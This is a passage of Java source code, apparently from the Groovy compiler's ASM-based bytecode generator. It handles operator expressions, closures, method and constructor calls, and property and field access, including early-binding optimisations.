evaluateBinaryExpression("intdiv", expression);
}
}
break;
case Types.INTDIV_EQUAL :
evaluateBinaryExpressionWithAsignment("intdiv", expression);
break;
case Types.MOD :
evaluateBinaryExpression("mod", expression);
break;
case Types.MOD_EQUAL :
evaluateBinaryExpressionWithAsignment("mod", expression);
break;
case Types.LEFT_SHIFT :
evaluateBinaryExpression("leftShift", expression);
break;
case Types.RIGHT_SHIFT :
evaluateBinaryExpression("rightShift", expression);
break;
case Types.RIGHT_SHIFT_UNSIGNED :
evaluateBinaryExpression("rightShiftUnsigned", expression);
break;
case Types.KEYWORD_INSTANCEOF :
evaluateInstanceof(expression);
break;
case Types.FIND_REGEX :
evaluateBinaryExpression(findRegexMethod, expression);
break;
case Types.MATCH_REGEX :
evaluateBinaryExpression(matchRegexMethod, expression);
break;
case Types.LEFT_SQUARE_BRACKET :
if (leftHandExpression) {
throwException("Should not be called here. Possible reason: postfix operation on array.");
// This is handled right now in the evaluateEqual()
// should support this here later
//evaluateBinaryExpression("putAt", expression);
}
else if (ENABLE_EARLY_BINDING) {
expression.resolve(this);
if (expression.isResolveFailed() || !expression.isTypeResolved()) {
evaluateBinaryExpression("getAt", expression);
break;
}
Expression leftExpression = expression.getLeftExpression();
Expression rightExpression = expression.getRightExpression();
Class lclass = leftExpression.getTypeClass();
Class rclass = rightExpression.getTypeClass();
if (lclass == null || rclass == null) {
evaluateBinaryExpression("getAt", expression);
break;
}
if (lclass == String.class && rclass == Integer.class) {
load(leftExpression); cast(String.class);
load(rightExpression); helper.quickUnboxIfNecessary(int.class);
cv.visitMethodInsn(
INVOKESTATIC,
BytecodeHelper.getClassInternalName(DefaultGroovyMethods.class.getName()),
"getAt",
"([Ljava/lang/String;I)Ljava/lang/String;");
break;
}
else if (lclass.isArray() && rclass == Integer.class) {
load(leftExpression); // cast it?
load(rightExpression); helper.quickUnboxIfNecessary(int.class);
Class elemType = lclass.getComponentType();
if (!elemType.isPrimitive()) {
cv.visitMethodInsn(
INVOKESTATIC,
BytecodeHelper.getClassInternalName(DefaultGroovyMethods.class.getName()),
"getAt",
"([Ljava/lang/Object;I)Ljava/lang/Object;");
cast(elemType);
}
else {
evaluateBinaryExpression("getAt", expression); // todo more optim
}
break;
}
else if (List.class == lclass && rclass == Integer.class){
// there is special logic in treating list subscript
load(leftExpression); cast(List.class);
load(rightExpression); helper.quickUnboxIfNecessary(int.class);
//INVOKESTATIC org/codehaus/groovy/runtime/DefaultGroovyMethods getAt (Ljava/util/List;I)Ljava/lang/Object;
cv.visitMethodInsn(
INVOKESTATIC,
BytecodeHelper.getClassInternalName(DefaultGroovyMethods.class.getName()),
"getAt",
"(Ljava/util/List;I)Ljava/lang/Object;");
break;
}
else if (Map.class.isAssignableFrom(lclass)){ // todo test this
visitMethodCallExpression(
new MethodCallExpression(
leftExpression,
"get",
new ArgumentListExpression(
new Expression[] { rightExpression})));
break;
}
else {
evaluateBinaryExpression("getAt", expression); // todo more optim
break;
}
}
else {
evaluateBinaryExpression("getAt", expression);
}
break;
default :
throwException("Operation: " + expression.getOperation() + " not supported");
}
}
private void load(Expression exp) {
boolean wasLeft = leftHandExpression;
leftHandExpression = false;
// if (CREATE_DEBUG_INFO)
// helper.mark("-- loading expression: " + exp.getClass().getName() +
// " at [" + exp.getLineNumber() + ":" + exp.getColumnNumber() + "]");
//exp.visit(this);
visitAndAutoboxBoolean(exp);
// if (CREATE_DEBUG_INFO)
// helper.mark(" -- end of loading --");
if (ENABLE_EARLY_BINDING){
// casting might be expensive. should do JIT casting
// Class cls = exp.getTypeClass();
// if (cls != null && !cls.isPrimitive() && cls != Object.class) {
// cast(cls);
}
//evaluateExpression(exp);
leftHandExpression = wasLeft;
}
public void visitPostfixExpression(PostfixExpression expression) {
if (ENABLE_EARLY_BINDING) {
int type = expression.getOperation().getType();
expression.resolve(this);
if (expression.isResolveFailed() || !expression.isTypeResolved()) {
evaluatePostfixMethod("next", expression.getExpression());
return;
}
Class lclass = expression.getTypeClass();
Expression exp = expression.getExpression();
String func = type == Types.PLUS_PLUS ? "next" : "previous";
int op = type == Types.PLUS_PLUS ? IADD : ISUB;
if (lclass == Integer.class) {
load(exp);
cv.visitInsn(DUP); // leave the old value on the stack;
helper.quickUnboxIfNecessary(int.class);
cv.visitInsn(ICONST_1);
cv.visitInsn(op);
helper.quickBoxIfNecessary(int.class);
store(exp);
}
else if (Number.class.isAssignableFrom(lclass)) {
// let's use groovy utilities in the DefaultGroovyMethods
load(exp);
cv.visitInsn(DUP); // leave the old value on the stack;
cv.visitMethodInsn(
INVOKESTATIC,
BytecodeHelper.getClassInternalName(DefaultGroovyMethods.class.getName()),
func,
"(Ljava/lang/Number;)Ljava/lang/Number;");
store(exp);
}
else { // todo add more more number optimiztion
evaluatePostfixMethod(func, exp);
}
} else {
switch (expression.getOperation().getType()) {
case Types.PLUS_PLUS :
evaluatePostfixMethod("next", expression.getExpression());
break;
case Types.MINUS_MINUS :
evaluatePostfixMethod("previous", expression.getExpression());
break;
}
}
}
// store the data on the stack to the expression (variablem, property, field, etc.
private void store(Expression expression) {
if (expression instanceof BinaryExpression) {
throwException("BinaryExpression appeared on LHS. ");
}
if (ASM_DEBUG) {
if (expression instanceof VariableExpression) {
helper.mark(((VariableExpression)expression).getVariable());
}
}
boolean wasLeft = leftHandExpression;
leftHandExpression = true;
expression.visit(this);
//evaluateExpression(expression);
leftHandExpression = wasLeft;
return;
}
private void throwException(String s) {
//throw new ClassGeneratorException(s + ". Source: " + classNode.getName() + ":[" + this.lineNumber + ":" + this.columnNumber + "]");
throw new RuntimeParserException(s, currentASTNode);
}
public void visitPrefixExpression(PrefixExpression expression) {
switch (expression.getOperation().getType()) {
case Types.PLUS_PLUS :
evaluatePrefixMethod("next", expression.getExpression());
break;
case Types.MINUS_MINUS :
evaluatePrefixMethod("previous", expression.getExpression());
break;
}
}
public void visitClosureExpression(ClosureExpression expression) {
ClassNode innerClass = createClosureClass(expression);
addInnerClass(innerClass);
String innerClassinternalName = BytecodeHelper.getClassInternalName(innerClass.getName());
ClassNode owner = innerClass.getOuterClass();
String ownerTypeName = owner.getName();
if (classNode.isStaticClass() || isStaticMethod()) {
ownerTypeName = "java.lang.Class";
}
passingClosureParams = true;
List constructors = innerClass.getDeclaredConstructors();
ConstructorNode node = (ConstructorNode) constructors.get(0);
Parameter[] localVariableParams = node.getParameters();
// Define in the context any variables that will be
// created inside the closure. Note that the first two
// parameters are always _outerInstance and _delegate,
// so we don't worry about them.
for (int i = 2; i < localVariableParams.length; i++) {
Parameter param = localVariableParams[i];
String name = param.getName();
if (variableStack.get(name) == null && classNode.getField(name) == null) {
defineVariable(name, "java.lang.Object"); // todo should use param type is available
}
}
cv.visitTypeInsn(NEW, innerClassinternalName);
cv.visitInsn(DUP);
if (isStaticMethod() || classNode.isStaticClass()) {
visitClassExpression(new ClassExpression(ownerTypeName));
}
else {
loadThisOrOwner();
}
if (innerClass.getSuperClass().equals("groovy.lang.Closure")) {
if (isStaticMethod()) {
/**
* todo could maybe stash this expression in a JVM variable
* from previous statement above
*/
visitClassExpression(new ClassExpression(ownerTypeName));
}
else {
loadThisOrOwner();
}
}
//String prototype = "(L" + BytecodeHelper.getClassInternalName(ownerTypeName) + ";Ljava/lang/Object;";
// now lets load the various parameters we're passing
for (int i = 2; i < localVariableParams.length; i++) {
Parameter param = localVariableParams[i];
String name = param.getName();
if (variableStack.get(name) == null) {
visitFieldExpression(new FieldExpression(classNode.getField(name)));
}
else {
visitVariableExpression(new VariableExpression(name));
}
//prototype = prototype + "L" + BytecodeHelper.getClassInternalName(param.getType()) + ";";
}
passingClosureParams = false;
// we may need to pass in some other constructors
//cv.visitMethodInsn(INVOKESPECIAL, innerClassinternalName, "<init>", prototype + ")V");
cv.visitMethodInsn(
INVOKESPECIAL,
innerClassinternalName,
"<init>",
BytecodeHelper.getMethodDescriptor("void", localVariableParams));
}
/**
* Loads either this object or if we're inside a closure then load the top level owner
*/
protected void loadThisOrOwner() {
if (isInnerClass()) {
visitFieldExpression(new FieldExpression(classNode.getField("owner")));
}
else {
cv.visitVarInsn(ALOAD, 0);
}
}
public void visitRegexExpression(RegexExpression expression) {
expression.getRegex().visit(this);
regexPattern.call(cv);
}
public void visitConstantExpression(ConstantExpression expression) {
Object value = expression.getValue();
helper.loadConstant(value);
}
public void visitNegationExpression(NegationExpression expression) {
Expression subExpression = expression.getExpression();
subExpression.visit(this);
negation.call(cv);
}
public void visitCastExpression(CastExpression expression) {
String type = expression.getType();
type = checkValidType(type, expression, "in cast");
visitAndAutoboxBoolean(expression.getExpression());
doConvertAndCast(type, expression.getExpression());
}
public void visitNotExpression(NotExpression expression) {
Expression subExpression = expression.getExpression();
subExpression.visit(this);
// This is not the best way to do this. Javac does it by reversing the
// underlying expressions but that proved
// fairly complicated for not much gain. Instead we'll just use a
// utility function for now.
if (isComparisonExpression(expression.getExpression())) {
notBoolean.call(cv);
}
else {
notObject.call(cv);
}
}
/**
* return a primitive boolean value of the BooleanExpresion.
* @param expression
*/
public void visitBooleanExpression(BooleanExpression expression) {
expression.getExpression().visit(this);
if (!isComparisonExpression(expression.getExpression())) {
// comment out for optimization when boolean values are not autoboxed for eg. function calls.
// Class typeClass = expression.getExpression().getTypeClass();
// if (typeClass != null && typeClass != boolean.class) {
asBool.call(cv); // to return a primitive boolean
}
}
public void visitMethodCallExpression(MethodCallExpression call) {
onLineNumber(call, "visitMethodCallExpression: \"" + call.getMethod() + "\":");
if (ENABLE_EARLY_BINDING)
call.resolve(this);
this.leftHandExpression = false;
Expression arguments = call.getArguments();
/*
* if (arguments instanceof TupleExpression) { TupleExpression
* tupleExpression = (TupleExpression) arguments; int size =
* tupleExpression.getExpressions().size(); if (size == 0) { arguments =
* ConstantExpression.EMPTY_ARRAY; } }
*/
boolean superMethodCall = MethodCallExpression.isSuperMethodCall(call);
String method = call.getMethod();
if (superMethodCall && method.equals("<init>")) {
/** todo handle method types! */
cv.visitVarInsn(ALOAD, 0);
if (isInClosureConstructor()) { // br use the second param to init the super class (Closure)
cv.visitVarInsn(ALOAD, 2);
cv.visitMethodInsn(INVOKESPECIAL, internalBaseClassName, "<init>", "(Ljava/lang/Object;)V");
}
else {
cv.visitVarInsn(ALOAD, 1);
cv.visitMethodInsn(INVOKESPECIAL, internalBaseClassName, "<init>", "(Ljava/lang/Object;)V");
}
}
else {
// are we a local variable
if (isThisExpression(call.getObjectExpression()) && isFieldOrVariable(call.getMethod())) {
/*
* if (arguments instanceof TupleExpression) { TupleExpression
* tupleExpression = (TupleExpression) arguments; int size =
* tupleExpression.getExpressions().size(); if (size == 1) {
* arguments = (Expression)
* tupleExpression.getExpressions().get(0); } }
*/
// lets invoke the closure method
visitVariableExpression(new VariableExpression(method));
arguments.visit(this);
invokeClosureMethod.call(cv);
}
else {
if (superMethodCall) {
if (method.equals("super") || method.equals("<init>")) {
ConstructorNode superConstructorNode = findSuperConstructor(call);
cv.visitVarInsn(ALOAD, 0);
loadArguments(superConstructorNode.getParameters(), arguments);
String descriptor = BytecodeHelper.getMethodDescriptor("void", superConstructorNode.getParameters());
cv.visitMethodInsn(INVOKESPECIAL, BytecodeHelper.getClassInternalName(classNode.getSuperClass()), "<init>", descriptor);
}
else {
MethodNode superMethodNode = findSuperMethod(call);
cv.visitVarInsn(ALOAD, 0);
loadArguments(superMethodNode.getParameters(), arguments);
String descriptor = BytecodeHelper.getMethodDescriptor(superMethodNode.getReturnType(), superMethodNode.getParameters());
cv.visitMethodInsn(INVOKESPECIAL, BytecodeHelper.getClassInternalName(superMethodNode.getDeclaringClass().getName()), method, descriptor);
}
}
else {
// let's try early binding
if (ENABLE_EARLY_BINDING) {
try {
MetaMethod metamethod = call.getMetaMethod(); // todo change it to resolveMethodCallExpression
if (metamethod != null) {
Class decClass = metamethod.getDeclaringClass();
String ownerClassName = null;
if (decClass == null) {
// meaning the class is the current class
ownerClassName = BytecodeHelper.getClassInternalName(classNode.getName());
}
else {
ownerClassName = BytecodeHelper.getClassInternalName(decClass.getName());
}
String methodName = call.getMethod();
String descr = BytecodeHelper.getMethodDescriptor(metamethod);
Class[] params = metamethod.getParameterTypes();
Label l2 = new Label();
if (metamethod.isStatic()) {
} else {
boolean wasLeft = leftHandExpression;
leftHandExpression = false;
call.getObjectExpression().visit(this);
if (call.isSafe()) {
helper.dup();
cv.visitJumpInsn(IFNULL, l2);
}
cv.visitTypeInsn(CHECKCAST, ownerClassName);
leftHandExpression = wasLeft;
}
if (arguments instanceof TupleExpression) {
TupleExpression tupleExpression = (TupleExpression) arguments;
List argexps = tupleExpression.getExpressions();
for (int i = 0; i < argexps.size(); i++) {
Expression expression = (Expression) argexps.get(i);
load(expression);
if (params[i].isPrimitive() /*&& !expression.getTypeClass().isPrimitive()*/) { // data always boxed
cast(params[i]);
helper.quickUnboxIfNecessary(params[i]);
}
else if (params[i].isArray() && params[i].getComponentType().isPrimitive() ) {
new ClassExpression(params[i].getComponentType()).visit(this);
convertToPrimitiveArray.call(cv);
cast(params[i]);
}
else {
if (expression.getTypeClass() == GString.class && params[i] == String.class){
cast(GString.class);
cv.visitMethodInsn(
INVOKEVIRTUAL,
"java/lang/Object",
"toString",
"()Ljava/lang/String;"
);
}
else {
cast(params[i]);
}
}
}
if (metamethod.isStatic()) {
cv.visitMethodInsn(INVOKESTATIC, ownerClassName, methodName, descr);
}
else if (decClass != null && decClass.isInterface()){
cv.visitMethodInsn(INVOKEINTERFACE, ownerClassName, methodName, descr);
}
else {
cv.visitMethodInsn(INVOKEVIRTUAL, ownerClassName, methodName, descr);
}
call.setTypeClass(metamethod.getReturnType());
if (metamethod.getReturnType().isPrimitive()
&& metamethod.getReturnType() != void.class
//&& metamethod.getReturnType() != boolean.class
) {
helper.quickBoxIfNecessary(metamethod.getReturnType());
}
if (call.isSafe()) {
Label l3 = new Label();
cv.visitJumpInsn(GOTO, l3);
cv.visitLabel(l2);
cv.visitInsn(POP);
cv.visitInsn(ACONST_NULL);
cv.visitLabel(l3);
}
return;
} else {
throw new GroovyRuntimeException("arguments type not handled. fall through to late binding");
}
}
} catch (Exception e) {
// System.out.println(this.classNode.getName() + ":" + this.methodNode.getName());
// //e.printStackTrace(); //System.out.println(e.getMessage());
// log.info("ignore: attempt early binding: " + e.getMessage());
// fall through
}
} // end of early binding trial
if (emptyArguments(arguments) && !call.isSafe()) {
call.getObjectExpression().visit(this);
cv.visitLdcInsn(method);
invokeNoArgumentsMethod.call(cv); // todo try if we can do early binding
}
else {
if (argumentsUseStack(arguments)) {
arguments.visit(this);
Variable tv = visitASTOREInTemp(method + "_arg");
int paramIdx = tv.getIndex();
call.getObjectExpression().visit(this); // xxx
cv.visitLdcInsn(method);
cv.visitVarInsn(ALOAD, paramIdx);
removeVar(tv);
}
else {
call.getObjectExpression().visit(this);
cv.visitLdcInsn(method);
arguments.visit(this);
}
if (call.isSafe()) {
invokeMethodSafeMethod.call(cv);
}
else {
invokeMethodMethod.call(cv);
}
}
}
}
}
}
/**
* Loads and coerces the argument values for the given method call
*/
protected void loadArguments(Parameter[] parameters, Expression expression) {
TupleExpression argListExp = (TupleExpression) expression;
List arguments = argListExp.getExpressions();
for (int i = 0, size = arguments.size(); i < size; i++) {
Expression argExp = argListExp.getExpression(i);
Parameter param = parameters[i];
visitAndAutoboxBoolean(argExp);
String type = param.getType();
if (BytecodeHelper.isPrimitiveType(type)) {
helper.unbox(type);
}
String expType = getExpressionType(argExp);
if (isValidTypeForCast(type) && (expType == null || !type.equals(expType))) {
doConvertAndCast(type);
}
// doConvertAndCast(type, argExp);
}
}
/**
* Attempts to find the method of the given name in a super class
*/
protected MethodNode findSuperMethod(MethodCallExpression call) {
String methodName = call.getMethod();
TupleExpression argExpr = (TupleExpression) call.getArguments();
int argCount = argExpr.getExpressions().size();
ClassNode superClassNode = classNode.getSuperClassNode();
if (superClassNode != null) {
List methods = superClassNode.getMethods(methodName);
for (Iterator iter = methods.iterator(); iter.hasNext(); ) {
MethodNode method = (MethodNode) iter.next();
if (method.getParameters().length == argCount) {
return method;
}
}
}
throwException("No such method: " + methodName + " for class: " + classNode.getName());
return null; // should not come here
}
/**
* Attempts to find the constructor in a super class
*/
protected ConstructorNode findSuperConstructor(MethodCallExpression call) {
TupleExpression argExpr = (TupleExpression) call.getArguments();
int argCount = argExpr.getExpressions().size();
ClassNode superClassNode = classNode.getSuperClassNode();
if (superClassNode != null) {
List constructors = superClassNode.getDeclaredConstructors();
for (Iterator iter = constructors.iterator(); iter.hasNext(); ) {
ConstructorNode constructor = (ConstructorNode) iter.next();
if (constructor.getParameters().length == argCount) {
return constructor;
}
}
}
throwException("No such constructor for class: " + classNode.getName());
return null; // should not come here
}
protected boolean emptyArguments(Expression arguments) {
if (arguments instanceof TupleExpression) {
TupleExpression tupleExpression = (TupleExpression) arguments;
int size = tupleExpression.getExpressions().size();
return size == 0;
}
return false;
}
public void visitStaticMethodCallExpression(StaticMethodCallExpression call) {
this.leftHandExpression = false;
Expression arguments = call.getArguments();
if (emptyArguments(arguments)) {
cv.visitLdcInsn(call.getType());
cv.visitLdcInsn(call.getMethod());
invokeStaticNoArgumentsMethod.call(cv);
}
else {
if (arguments instanceof TupleExpression) {
TupleExpression tupleExpression = (TupleExpression) arguments;
int size = tupleExpression.getExpressions().size();
if (size == 1) {
arguments = (Expression) tupleExpression.getExpressions().get(0);
}
}
cv.visitLdcInsn(call.getOwnerType());
cv.visitLdcInsn(call.getMethod());
arguments.visit(this);
invokeStaticMethodMethod.call(cv);
}
}
public void visitConstructorCallExpression(ConstructorCallExpression call) {
onLineNumber(call, "visitConstructorCallExpression: \"" + call.getTypeToSet() + "\":");
do {
if (ENABLE_EARLY_BINDING) {
call.resolve(this);
if (call.isResolveFailed() || call.getTypeClass() == null) {
break;
}
else {
try {
Constructor ctor = call.getConstructor(); // todo change it to resolveMethodCallExpression
if (ctor != null) {
Class decClass = ctor.getDeclaringClass();
String ownerClassName = null;
if (decClass == null) {
// meaning the class is the current class
ownerClassName = BytecodeHelper.getClassInternalName(classNode.getName());
}
else {
ownerClassName = BytecodeHelper.getClassInternalName(decClass.getName());
}
Class[] params = ctor.getParameterTypes();
StringBuffer argbuf = new StringBuffer("(");
for (int i = 0; i < params.length; i++) {
Class arg = params[i];
String descr = BytecodeHelper.getTypeDescription(arg);
argbuf.append(descr);
}
argbuf.append(")V");
cv.visitTypeInsn(NEW, ownerClassName);
cv.visitInsn(DUP);
Expression arguments = call.getArguments();
if (arguments instanceof TupleExpression) {
TupleExpression tupleExpression = (TupleExpression) arguments;
List argexps = tupleExpression.getExpressions();
for (int i = 0; i < argexps.size(); i++) {
Expression expression = (Expression) argexps.get(i);
load(expression);
if (params[i].isPrimitive() /*&& !expression.getTypeClass().isPrimitive()*/) { // data always boxed
cast(params[i]);
helper.quickUnboxIfNecessary(params[i]);
}
else if (params[i].isArray() && params[i].getComponentType().isPrimitive() ) {
new ClassExpression(params[i].getComponentType()).visit(this);
convertToPrimitiveArray.call(cv);
cast(params[i]);
}
else {
//? if the target is String , I might as well call Object.toString() regardless
if (expression.getTypeClass() == GString.class && params[i] == String.class){
cast(GString.class);
cv.visitMethodInsn(
INVOKEVIRTUAL,
"java/lang/Object",
"toString",
"()Ljava/lang/String;"
);
}
else {
cast(params[i]);
}
}
}
cv.visitMethodInsn(INVOKESPECIAL, ownerClassName, "<init>", argbuf.toString());
return;
} else {
throw new GroovyRuntimeException("arguments type not handled. fall through to late binding");
}
}
} catch (Exception e) {
// System.out.println(this.classNode.getName() + ":" + this.methodNode.getName());
//e.printStackTrace(); //System.out.println(e.getMessage());
// log.info("ignore: attempt early binding: " + e.getMessage());
break;// fall through
}
}
}
} while(false);
this.leftHandExpression = false;
Expression arguments = call.getArguments();
if (arguments instanceof TupleExpression) {
TupleExpression tupleExpression = (TupleExpression) arguments;
int size = tupleExpression.getExpressions().size();
if (size == 0) {
arguments = null;
}
// else if (size == 1) { // why unpack the tuple of 1 component?
// arguments = (Expression) tupleExpression.getExpressions().get(0);
}
// lets check that the type exists
String type = checkValidType(call.getType(), call, "in constructor call");
//System.out.println("Constructing: " + type);
visitClassExpression(new ClassExpression(type));
if (arguments !=null) {
arguments.visit(this);
invokeConstructorOfMethod.call(cv); // todo subject to opti
} else {
invokeNoArgumentsConstructorOf.call(cv); // todo subject to opti
}
/*
* cv.visitLdcInsn(type);
*
* arguments.visit(this);
*
* invokeConstructorMethod.call(cv);
*/
}
public void visitPropertyExpression(PropertyExpression expression) {
do {
if (true && ENABLE_EARLY_BINDING) {
expression.resolve(this);
if (!expression.isTypeResolved()) {
break;
}
Expression ownerExp = expression.getObjectExpression();
String propName = expression.getProperty();
if (expression.getProperty().equals("class")) {
break; // the default does the right thing. let it do.
}
String ownerType = ownerExp.getType();
Class ownerClass = ownerExp.getTypeClass();
if (ownerType == null || ownerType.length() == 0) {
break;
}
Label l3 = new Label();
// handle arraylength
if (ownerClass != null && ownerClass.isArray() && propName.equals("length")) {
load(ownerExp);
if (expression.isSafe()) {
helper.dup();
cv.visitJumpInsn(IFNULL, l3);
}
cast(ownerClass);
cv.visitInsn(ARRAYLENGTH);
helper.quickBoxIfNecessary(int.class);
cv.visitLabel(l3);
return;
}
String propertyType = expression.getType();
if (propertyType == null || propertyType.length() == 0) {
break;
}
boolean isStatic = expression.isStatic();
if (!isThisExpression(ownerExp) && GroovyObject.class.isAssignableFrom(ownerExp.getTypeClass())) {
// call other groovy object property via getProperty()/setProperty()
if (!isStatic && ownerExp instanceof ClassExpression) {
if (leftHandExpression) {
cv.visitMethodInsn(
INVOKEVIRTUAL,
BytecodeHelper.getClassInternalName(ownerType),
"setProperty",
BytecodeHelper.getTypeDescription(propertyType));
} else {
cv.visitMethodInsn(
INVOKEVIRTUAL,
BytecodeHelper.getClassInternalName(ownerType),
"getProperty",
BytecodeHelper.getTypeDescription(propertyType));
}
return;
} else {
break;
}
}
// else if (isThisExpression(ownerExp)){
// if (leftHandExpression) {
// helper.loadThis();
// cv.visitFieldInsn(
// PUTFIELD,
// BytecodeHelper.getClassInternalName(ownerType),
// expression.getProperty(),
// BytecodeHelper.getClassInternalName(propertyType));
// } else {
// cv.visitMethodInsn(
// INVOKEVIRTUAL,
// BytecodeHelper.getClassInternalName(ownerType),
// "getProperty",
// BytecodeHelper.getClassInternalName(propertyType));
// return;
// the following logic is used for this.<prop> acess too.
else { // none direct local access
Field fld = expression.getField();
Method setter = expression.getSetter();
Method getter = expression.getGetter();
// gate keeping
if (leftHandExpression) {
if (fld == null && setter == null) {
break;
}
}
else {
if (fld == null && getter == null) {
break;
}
}
if (ownerClass == null && !isThisExpression(ownerExp)) {
break; // ownerClass is null only when the ownerExp is "this"
}
// now looking for public fields before accessors
if (expression.isStatic()) {
if (leftHandExpression) {
if (fld != null) {
helper.quickUnboxIfNecessary(expression.getTypeClass());
cv.visitFieldInsn(
PUTSTATIC,
BytecodeHelper.getClassInternalName(ownerType),
expression.getProperty(),
BytecodeHelper.getTypeDescription(propertyType)
);
}
else if (setter != null) {
helper.quickUnboxIfNecessary(setter.getParameterTypes()[0]);
cast(setter.getParameterTypes()[0]);
helper.invoke(setter);
}
else {
throwException("no method or field is found for a resolved property access");
}
}
else { // get the property
if (fld != null){
cv.visitFieldInsn(
GETSTATIC,
BytecodeHelper.getClassInternalName(ownerType),
propName,
BytecodeHelper.getTypeDescription(propertyType)
);
helper.quickBoxIfNecessary(expression.getTypeClass());
}
else if (getter != null) {
helper.invoke(getter);
helper.quickBoxIfNecessary(expression.getTypeClass());
}
else {
throwException("no method or field is found for a resolved property access");
}
}
} else { // non-static access
if (leftHandExpression) { // set the property
// assumption: the data on the stack are boxed if it's a number
helper.quickUnboxIfNecessary(expression.getTypeClass());
load(ownerExp);
if (expression.isSafe()) {
helper.dup();
cv.visitJumpInsn(IFNULL, l3);
}
if (ownerClass != null)
cast(ownerClass);
Class cls = expression.getTypeClass();
if (cls == double.class || cls == long.class) {
cv.visitInsn(DUP_X2);
cv.visitInsn(POP);
} else {
cv.visitInsn(SWAP);
}
if (fld != null) {
cv.visitFieldInsn(
PUTFIELD,
BytecodeHelper.getClassInternalName(ownerType),
propName,
BytecodeHelper.getTypeDescription(propertyType)
);
}
else if (setter != null) {
Method m = setter;
Class[] paramTypes = m.getParameterTypes();
if (paramTypes.length != 1) {
throw new RuntimeException("setter should take a single parameter");
}
Class paramType = paramTypes[0];
cast(paramType);
helper.invoke(setter);
}
else {
throwException("no method or field is found for a resolved property access");
}
}
else { // get property
load(ownerExp);
if (expression.isSafe()) {
helper.dup();
cv.visitJumpInsn(IFNULL, l3);
}
if (ownerClass != null)
cast(ownerClass);
if (fld != null) {
cv.visitFieldInsn(
GETFIELD,
BytecodeHelper.getClassInternalName(ownerType),
propName,
BytecodeHelper.getTypeDescription(propertyType)
);
helper.quickBoxIfNecessary(expression.getTypeClass());
}
else if (getter != null) {
helper.invoke(getter);
helper.quickBoxIfNecessary(expression.getTypeClass());
}
else {
throwException("no method or field is found for a resolved property access");
}
}
}
cv.visitLabel(l3);
return;
}
}
} while (false);
// lets check if we're a fully qualified class name
String className = null;
Expression objectExpression = expression.getObjectExpression();
if (!isThisExpression(objectExpression)) {
className = checkForQualifiedClass(expression);
if (className != null) {
visitClassExpression(new ClassExpression(className));
return;
}
}
if (expression.getProperty().equals("class")) {
if ((objectExpression instanceof ClassExpression)) {
visitClassExpression((ClassExpression) objectExpression);
return;
}
else if (objectExpression instanceof VariableExpression) {
VariableExpression varExp = (VariableExpression) objectExpression;
className = varExp.getVariable();
try {
className = resolveClassName(className);
visitClassExpression(new ClassExpression(className));
return;
}
catch (Exception e) {
// ignore
}
}
}
if (isThisExpression(objectExpression)) {
// lets use the field expression if its available
String name = expression.getProperty();
FieldNode field = classNode.getField(name);
if (field != null) {
visitFieldExpression(new FieldExpression(field));
return;
}
}
boolean left = leftHandExpression;
// we need to clear the LHS flag to avoid "this." evaluating as ASTORE
// rather than ALOAD
leftHandExpression = false;
objectExpression.visit(this);
cv.visitLdcInsn(expression.getProperty());
if (isGroovyObject(objectExpression) && ! expression.isSafe()) {
if (left) {
setGroovyObjectPropertyMethod.call(cv);
}
else {
getGroovyObjectPropertyMethod.call(cv);
}
}
else {
if (expression.isSafe()) {
if (left) {
setPropertySafeMethod2.call(cv);
}
else {
getPropertySafeMethod.call(cv);
}
}
else {
if (left) {
setPropertyMethod2.call(cv);
}
else {
getPropertyMethod.call(cv);
}
}
}
}
protected boolean isGroovyObject(Expression objectExpression) {
return isThisExpression(objectExpression);
}
/**
* Checks if the given property expression represents a fully qualified class name
* @return the class name or null if the property is not a valid class name
*/
protected String checkForQualifiedClass(PropertyExpression expression) {
String text = expression.getText();
try {
return resolveClassName(text);
}
catch (Exception e) {
if (text.endsWith(".class")) {
text = text.substring(0, text.length() - 6);
try {
return resolveClassName(text);
}
catch (Exception e2) {
}
}
return null;
}
}
public void visitFieldExpression(FieldExpression expression) {
FieldNode field = expression.getField();
if (field.isStatic()) {
if (leftHandExpression) {
storeStaticField(expression);
}
else {
loadStaticField(expression);
}
} else {
if (leftHandExpression) {
storeThisInstanceField(expression);
}
else {
loadInstanceField(expression);
}
}
}
/**
*
* @param fldExp
*/
public void loadStaticField(FieldExpression fldExp) {
FieldNode field = fldExp.getField();
boolean holder = field.isHolder() && !isInClosureConstructor();
String type = field.getType();
String ownerName = (field.getOwner().equals(classNode.getName()))
? internalClassName
: org.objectweb.asm.Type.getInternalName(loadClass(field.getOwner()));
if (holder) {
cv.visitFieldInsn(GETSTATIC, ownerName, fldExp.getFieldName(), BytecodeHelper.getTypeDescription(type));
cv.visitMethodInsn(INVOKEVIRTUAL, "groovy/lang/Reference", "get", "()Ljava/lang/Object;");
}
else {
cv.visitFieldInsn(GETSTATIC, ownerName, fldExp.getFieldName(), BytecodeHelper.getTypeDescription(type));
if (BytecodeHelper.isPrimitiveType(type)) {
helper.box(type);
} else {
}
}
}
/**
* RHS instance field. should move most of the code in the BytecodeHelper
* @param fldExp
*/
public void loadInstanceField(FieldExpression fldExp) {
FieldNode field = fldExp.getField();
boolean holder = field.isHolder() && !isInClosureConstructor();
String type = field.getType();
String ownerName = (field.getOwner().equals(classNode.getName()))
? internalClassName
: org.objectweb.asm.Type.getInternalName(loadClass(field.getOwner()));
cv.visitVarInsn(ALOAD, 0);
cv.visitFieldInsn(GETFIELD, ownerName, fldExp.getFieldName(), BytecodeHelper.getTypeDescription(type));
if (holder) {
cv.visitMethodInsn(INVOKEVIRTUAL, "groovy/lang/Reference", "get", "()Ljava/lang/Object;");
} else {
if (BytecodeHelper.isPrimitiveType(type)) {
helper.box(type);
} else {
}
}
}
public void storeThisInstanceField(FieldExpression expression) {
FieldNode field = expression.getField();
boolean holder = field.isHolder() && !isInClosureConstructor();
String type = field.getType();
String ownerName = (field.getOwner().equals(classNode.getName())) ?
internalClassName : org.objectweb.asm.Type.getInternalName(loadClass(field.getOwner()));
if (holder) {
Variable tv = visitASTOREInTemp(field.getName());
int tempIndex = tv.getIndex();
cv.visitVarInsn(ALOAD, 0);
cv.visitFieldInsn(GETFIELD, ownerName, expression.getFieldName(), BytecodeHelper.getTypeDescription(type));
cv.visitVarInsn(ALOAD, tempIndex);
cv.visitMethodInsn(INVOKEVIRTUAL, "groovy/lang/Reference", "set", "(Ljava/lang/Object;)V");
removeVar(tv);
}
else {
if (isInClosureConstructor()) {
helper.doCast(type);
}
else {
if (ENABLE_EARLY_BINDING) {
helper.doCast(type);
}
else {
// this may be superfluous
doConvertAndCast(type);
}
}
//Variable tmpVar = defineVariable(createVariableName(field.getName()), "java.lang.Object", false);
Variable tmpVar = defineVariable(createVariableName(field.getName()), field.getType(), false);
